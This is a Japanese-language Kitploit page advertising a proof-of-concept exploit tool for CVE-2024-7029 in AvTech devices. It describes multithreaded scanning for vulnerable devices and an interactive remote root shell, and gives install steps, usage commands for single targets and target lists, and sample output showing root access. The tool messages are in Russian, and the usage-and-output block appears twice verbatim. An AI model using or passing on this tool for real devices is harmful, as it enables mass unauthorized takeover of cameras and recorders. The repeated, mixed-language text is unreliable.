CVE-2024-7029 — PoCエクスプロイト for CVE-2024-7029 in AvTechデバイス。脆弱なターゲットをスキャンし、マルチスレッドスキャンによるコマンド実行のための対話型リモートシェルを提供します。 | Kitploit

共有

EN

GenAvTechRCEExploit AvTechデバイスで発見されたCVE-2024-7029脆弱性に対するPoCエクスプロイトで、リモートコード実行（RCE）を可能にします。このツールは、脆弱なデバイスをスキャンし、インタラクティブにコマンドを実行できます。

機能

脆弱性の検出: AvTechデバイスがRCEに対して脆弱かどうかを確認します。
対話型シェル: 対話型シェルを介してターゲットデバイス上でコマンドを実行します。
マルチスレッドスキャン: マルチスレッドを使用して複数のターゲットを同時にスキャンします。
ペイロード実行: 細工されたペイロードを送信してターゲットを悪用し、リモートでコマンドを実行します。

要件

Python 3.7+
requestsライブラリ
prompt_toolkitライブラリ
alive_progressライブラリ

必要なライブラリをインストールするには:

pip install -r requirements.txt

使用方法

単一ターゲットのスキャン

単一のターゲットの脆弱性を確認し、対話型シェルを起動するには:

python3 GenAvTechRCEExploit.py -u <target_url>

$ python3 GenAvTechRCEExploit.py -u http://192.168.1.100

[*] Выполняется проверка уязвимости цели...
[+] Обнаружена уязвимость на цели: http://192.168.1.100
[*] Запуск интерактивной оболочки...
Shell> whoami
root
Shell> uname -a
Linux avtech-device 4.15.0-45-generic #48-Ubuntu SMP Fri Jan 18 08:54:43 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
Shell> exit
[*] Завершение интерактивной оболочки

$ python3 GenAvTechRCEExploit.py -f targets.txt

Scanning Targets |████████████████████████████████████████| 100% 
[+] Обнаружена уязвимость на цели: http://192.168.1.50
[+] Обнаружена уязвимость на цели: http://192.168.1.150
[-] Цель http://192.168.1.200 не уязвима

$ python3 GenAvTechRCEExploit.py -u http://192.168.1.100

[*] Выполняется проверка уязвимости цели...
[+] Обнаружена уязвимость на цели: http://192.168.1.100
[*] Запуск интерактивной оболочки...
Shell> whoami
root
Shell> uname -a
Linux avtech-device 4.15.0-45-generic #48-Ubuntu SMP Fri Jan 18 08:54:43 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
Shell> exit
[*] Завершение интерактивной оболочки

$ python3 GenAvTechRCEExploit.py -f targets.txt

Scanning Targets |████████████████████████████████████████| 100% 
[+] Обнаружена уязвимость на цели: http://192.168.1.50
[+] Обнаружена уязвимость на цели: http://192.168.1.150
[-] Цель http://192.168.1.200 не уязвима